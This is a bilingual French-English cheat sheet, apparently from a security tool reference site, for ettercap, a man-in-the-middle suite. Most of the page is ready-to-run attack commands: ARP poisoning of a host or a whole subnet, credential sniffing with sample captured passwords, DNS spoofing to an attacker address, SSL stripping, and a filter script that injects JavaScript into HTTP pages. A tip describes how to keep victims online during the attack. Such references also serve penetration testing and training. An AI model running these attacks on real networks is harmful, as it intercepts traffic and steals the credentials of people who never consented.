ettercap

Suite complète pour les attaques man-in-the-middle sur les réseaux locaux. Effectue de l'ARP poisoning, du sniffing de trafic, du détournement de session, de la capture de mots de passe, et de l'injection de contenu. Comprehensive suite for man-in-the-middle attacks on LANs. Performs ARP poisoning, traffic sniffing, session hijacking, password capturing, and content injection.

↗ https://www.ettercap-project.org/

Overview

ettercap is a full-featured MITM attack suite for LAN environments. It performs ARP cache poisoning to intercept traffic between targets, captures cleartext credentials, injects content into HTTP sessions, strips SSL, and supports plugins for custom attacks. Available in text, curses, and GTK GUI modes.

Basic Usage

GUI mode

sudo ettercap -G

Text mode (TUI)

sudo ettercap -T

Silent sniffing mode

sudo ettercap -T -q -i eth0

ARP poisoning between host and gateway

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

ARP Poisoning (MITM)

# Poison traffic between specific target and gateway
sudo ettercap -T -q -i eth0 \
  -M arp:remote \
  /192.168.1.50// \  # target
  /192.168.1.1//     # gateway

MITM all hosts on subnet

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.0/24// /192.168.1.1//

Two-way MITM (intercept in both directions)

sudo ettercap -T -q -i eth0 -M arp /192.168.1.0/24//

Enable IP forwarding (required!)

echo 1 > /proc/sys/net/ipv4/ip_forward

Credential Capture

# ettercap automatically captures credentials from:
# - FTP, Telnet, SSH1
# - HTTP Basic Auth
# - SMTP, POP3, IMAP (unencrypted)
# - SMB (hash capture)
# - MySQL, Oracle

# View captured credentials in real-time
# They appear in terminal output automatically

# Example output:
# FTP  : 192.168.1.50:21 -> USER: admin  PASS: password123
# HTTP : 192.168.1.50:80 -> USER: admin  PASS: secretpass

Plugins

List available plugins

sudo ettercap --list-plugins

Use specific plugin

sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -P plugin_name
# Common plugins:
# dns_spoof    — DNS spoofing (redirects domain to your IP)
# arp_cop      — detect ARP poisoning attacks
# autoadd      — auto-add new hosts to MITM
# chk_poison   — check if ARP poisoning worked
# remote_browser  — capture URLs browsed by targets
# sslstrip     — strip HTTPS to HTTP

DNS Spoofing

Edit DNS spoof config

sudo nano /etc/ettercap/etter.dns
# Add entry:
# example.com   A   10.10.10.50    # redirect to attacker

Run with dns_spoof plugin

sudo ettercap -T -q -i eth0 \
  -M arp:remote /192.168.1.0/24// /192.168.1.1// \
  -P dns_spoof

Content Injection

Inject HTML into HTTP responses using filters Create filter script: inject.ef Content filtering requires filter compilation:

etterfilter inject.ef -o inject.ef.compiled

Run with filter

sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -F inject.ef.compiled

Filter Example

# inject.ef — inject JavaScript into HTTP responses
if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "</body>")) {
        replace("</body>", "<script>alert('MITM')</script></body>");
        msg("Injected!\n");
    }
}

Tips

  • Always enable IP forwarding or victims will lose internet during attack
  • SSLstrip plugin downgrades HTTPS — but HSTS prevents this on modern browsers
  • ettercap can be detected by IDS systems looking for ARP anomalies
  • For more advanced MITM, consider bettercap (more actively maintained)
Help / Man page
ettercap [options] [target1] [target2]

-T              Text (TUI) mode
-G              GTK GUI mode
-C              Curses UI
-q              Quiet mode
-i IFACE        Interface
-M METHOD       MITM method (arp, icmp, port, dhcp)
-P PLUGIN       Use plugin
-F FILTER       Use compiled filter
-L FILE         Logfile for all traffic
--list-plugins  Show available plugins
-w FILE         Write packets to pcap file

Target format: /IP1,IP2.../Port1,Port2.../
  Example: /192.168.1.50//   (any port on 192.168.1.50)

Vue d’ensemble

ettercap est une suite d’attaque MITM complète pour les environnements LAN. Elle effectue de l’empoisonnement du cache ARP pour intercepter le trafic entre les cibles, capture les identifiants en clair, injecte du contenu dans les sessions HTTP, retire le SSL, et prend en charge des plugins pour des attaques personnalisées. Disponible en modes texte, curses, et GUI GTK.

Utilisation de base

# Mode GUI
sudo ettercap -G

# Mode texte (TUI)
sudo ettercap -T

# Mode sniffing silencieux
sudo ettercap -T -q -i eth0

# ARP poisoning entre un hôte et la passerelle
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

ARP poisoning (MITM)

# Empoisonner le trafic entre une cible spécifique et la passerelle
sudo ettercap -T -q -i eth0 \
  -M arp:remote \
  /192.168.1.50// \  # cible
  /192.168.1.1//     # passerelle

MITM sur tous les hôtes du sous-réseau

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.0/24// /192.168.1.1//

MITM bidirectionnel (intercepter dans les deux sens)

sudo ettercap -T -q -i eth0 -M arp /192.168.1.0/24//

Activer le forwarding IP (requis !)

echo 1 > /proc/sys/net/ipv4/ip_forward

Capture d’identifiants

# ettercap capture automatiquement les identifiants depuis :
# - FTP, Telnet, SSH1
# - Authentification HTTP Basic
# - SMTP, POP3, IMAP (non chiffrés)
# - SMB (capture de hash)
# - MySQL, Oracle

# Voir les identifiants capturés en temps réel
# Ils apparaissent automatiquement dans la sortie du terminal

# Exemple de sortie :
# FTP  : 192.168.1.50:21 -> USER: admin  PASS: password123
# HTTP : 192.168.1.50:80 -> USER: admin  PASS: secretpass

Plugins

# Lister les plugins disponibles
sudo ettercap --list-plugins

# Utiliser un plugin spécifique
sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -P plugin_name
# Plugins courants :
# dns_spoof    : spoofing DNS (redirige un domaine vers votre IP)
# arp_cop      : détecte les attaques d'ARP poisoning
# autoadd      : ajoute automatiquement les nouveaux hôtes au MITM
# chk_poison   : vérifie si l'ARP poisoning a fonctionné
# remote_browser  : capture les URL consultées par les cibles
# sslstrip     : retire le HTTPS pour le ramener en HTTP

Spoofing DNS

Éditer la configuration du DNS spoof

sudo nano /etc/ettercap/etter.dns
# Ajouter une entrée :
# example.com   A   10.10.10.50    # redirection vers l'attaquant

Lancer avec le plugin dns_spoof

sudo ettercap -T -q -i eth0 \
  -M arp:remote /192.168.1.0/24// /192.168.1.1// \
  -P dns_spoof

Injection de contenu

Injecter du HTML dans les réponses HTTP en utilisant des filtres. Créer un script de filtre : inject.ef. Le filtrage de contenu nécessite la compilation du filtre :

etterfilter inject.ef -o inject.ef.compiled

Lancer avec le filtre

sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -F inject.ef.compiled

Exemple de filtre

# inject.ef : injecte du JavaScript dans les réponses HTTP
if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "</body>")) {
        replace("</body>", "<script>alert('MITM')</script></body>");
        msg("Injected!\n");
    }
}

Conseils

  • Activez toujours le forwarding IP, sinon les victimes perdront leur accès internet pendant l’attaque
  • Le plugin SSLstrip rétrograde le HTTPS, mais le HSTS empêche cela sur les navigateurs modernes
  • ettercap peut être détecté par des systèmes IDS surveillant les anomalies ARP
  • Pour un MITM plus avancé, envisagez bettercap (maintenu plus activement)
Aide / Page de manuel
ettercap [options] [target1] [target2]

-T              Text (TUI) mode
-G              GTK GUI mode
-C              Curses UI
-q              Quiet mode
-i IFACE        Interface
-M METHOD       MITM method (arp, icmp, port, dhcp)
-P PLUGIN       Use plugin
-F FILTER       Use compiled filter
-L FILE         Logfile for all traffic
--list-plugins  Show available plugins
-w FILE         Write packets to pcap file

Target format: /IP1,IP2.../Port1,Port2.../
  Example: /192.168.1.50//   (any port on 192.168.1.50)